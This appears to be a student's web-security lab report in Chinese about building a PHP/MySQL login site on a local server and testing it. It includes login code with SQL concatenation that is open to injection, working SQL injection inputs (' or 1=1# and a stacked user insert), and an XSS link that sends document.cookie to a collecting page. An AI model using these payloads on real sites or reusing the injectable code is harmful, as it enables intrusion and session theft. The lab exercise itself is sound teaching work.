• 20145313张雪纯Exp8 Web基础


    回答问题

    (1)什么是表单
    表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

    (2)浏览器可以解析运行什么语言。
    html,css,javascript,如果想运行其他语言,需要安装插件。

    (3)WebServer支持哪些动态语言
    python、nodejs、php、ruby等。

    2.实验总结与体会
    这个实验太难了,Java学得不好,web一般,php没学过,为什么我要选它??思考人生...........

    实验步骤

    Web前端HTML

    • 使用apachectl start开启Apach,使用netstat -aptn查看端口占用.由于OPEN VAS使用80端口,把配置端口文件中把默认监听端口改成8088。

    • 重启Apache服务

    • 打开127.0.0.1:8088,测试服务是否已成功启动.打开显示为上次实验生成的钓鱼网站

    • /var/www/html文件夹下生成一个测试文件,测试网页是否能调取文件夹中的文件

    • 编写一个简单的登录界面网页。

    • 输入用户名密数据传输至action中的5313.php中,但是由于未定义无法显示

    • 测试php功能

    Web前端javascipt

    • 验证用户名、密码
        String sql="select * from users where username="+"'"+username+"'";//定义一个查询语句
        ResultSet rs=db.executeQuery(sql);//运行上面的语句
        if(rs.next())
        {
           
            if(password.equals(rs.getObject("password"))){
                response.sendRedirect("loginsuccess.jsp");       //如果密码匹配则跳转至loginsuccess.jsp
            }
            else{
                out.print("<script language='javaScript'> alert('密码错误');</script>");
                response.setHeader("refresh", "0;url=login.jsp");
            }
        }
        else 
        {
            out.print("<script language='javaScript'> alert('请输入用户名——else');</script>");
            response.setHeader("refresh", "0;url=login.jsp");
        }
    
    

    Web后端

    • /etc/init.d/mysql start启动MySQL

    • mysql -u root –p登录MySQL,默认密码为p@ssw0rd

    • show databases;查看基本信息,显示出有多少数据库。

    • 建库建表

    CREATE SCHEMA `库表的名称`;
    CREATE TABLE `库表的名称`.`users` (
     `userid` INT NOT NULL COMMENT '',
     `username` VARCHAR(45) NULL COMMENT '',
     `password` VARCHAR(256) NULL COMMENT '',
     `enabled` VARCHAR(5) NULL COMMENT '',
     PRIMARY KEY (`userid`) COMMENT '');
    

    • 添加数据记录
    use ‘库表名称’
    insert into users(userid,username,password,enabled) values(1,'用户id',password("用户密码"),"TRUE");
    

    • 查看用户,修改密码,更新权限

      • 输入use mysql;,选择mysql数据库
      • 输入select user, password, host from user;,mysql库中的user表中存储着用户名、密码与权限
      • 输入UPDATE user SET password=PASSWORD("新密码") WHERE user='root';
      • 输入flush privileges;,更新权限
      • 输入quit退出
    • 编写登录界面login.html

    • 编写连接数据库login.php

    • 用添加的数据记录进行登录

    • 5秒后转至欢迎界面

    SQL注入,XSS攻击测试

    SQL攻击

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    永真式攻击

    在用户名输入框中输入' or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为
    select * from users where username='' or 1=1#' and password=md5('')
    由于以“ #”号开头直到行尾的所有内容都认为是注释,所以以上语句等价为
    select * from users where username='' or 1=1
    再等价为
    1=1
    为永真式,永远成立。

    SQL注入

    • 先构造sql注入语句,在数据库中添加数据。
      ';insert into users(userid,username,password,enabled) values(999,'111',password("222"),"TRUE");#
      同上,等价于
      SELECT * FROM users WHERE username='';
      insert into users(userid,username,password,enabled) values(999,'111',password("222"),"TRUE");

    • 连接成功,完成注入

    • 使用注入的数据进行登录

    XSS攻击

    XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

    • 先建立一个网站test5313.html, 用来接收“偷”来的信息。然后构造一个恶意链接,诱使用户点击。如http://127.0.0.1:8088/logIn.php?term=<script>window.open("http://127.0.0.1:8088/test5313.php?cookie="+document.cookie)</script>.
    • 用户点击了这个URL,嵌入在URL中的恶意Javascript代码就会在用户的浏览器中执行. 其在127.0.0.1:8088/logIn.php网站的cookie, 就会被发送到127.0.0.1:8088/test5313.html网站中。即可实现对用户身份的盗取。
    • 点击构造的url,自动转至原网页

      用XSS实现在输入特定字符串后显示图片:

    使用cookie进行登录

    • cookie指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

    • 相关代码ltc已上传至git:http://git.oschina.net/alovera/webhuihuaguanli/tree/master

    • 在网站默认目录下建立logIn.php,logOut.php,loged.php

    • 首先在logIn中登录,关闭网页后再次打开不需要再次登录。想退出时点击log out即可。

    实现发帖功能

    • 使用data.txt的写入读取实现发帖、查看已发布帖子。

  • 相关阅读:
    PAT 1020 月饼 (25)(精简版代码+思路+推荐测试用例)
    PAT 1010 一元多项式求导 (25)(STL-map+思路)
    通过无线连接的方式来做 Appium 自动化
    Eclipse shift + ctrl + F 不好用
    Appium 出现 > error: com.test/.activity1 never started. Current: com.test/.activity2
    Appium 出现 > error: com.test/.activity1 never started. Current: com.test/.activity2
    从CSDN 来到博客园入驻——2015/1/28
    敏捷自动化测试(1)—— 我们的测试为什么不够敏捷?
    敏捷自动化测试(2)——像用户使用软件一样享受自动化测试
    Android自动化测试之Monkey工具
  • 原文地址:https://www.cnblogs.com/entropy/p/6792440.html
Copyright © 2020-2023  润新知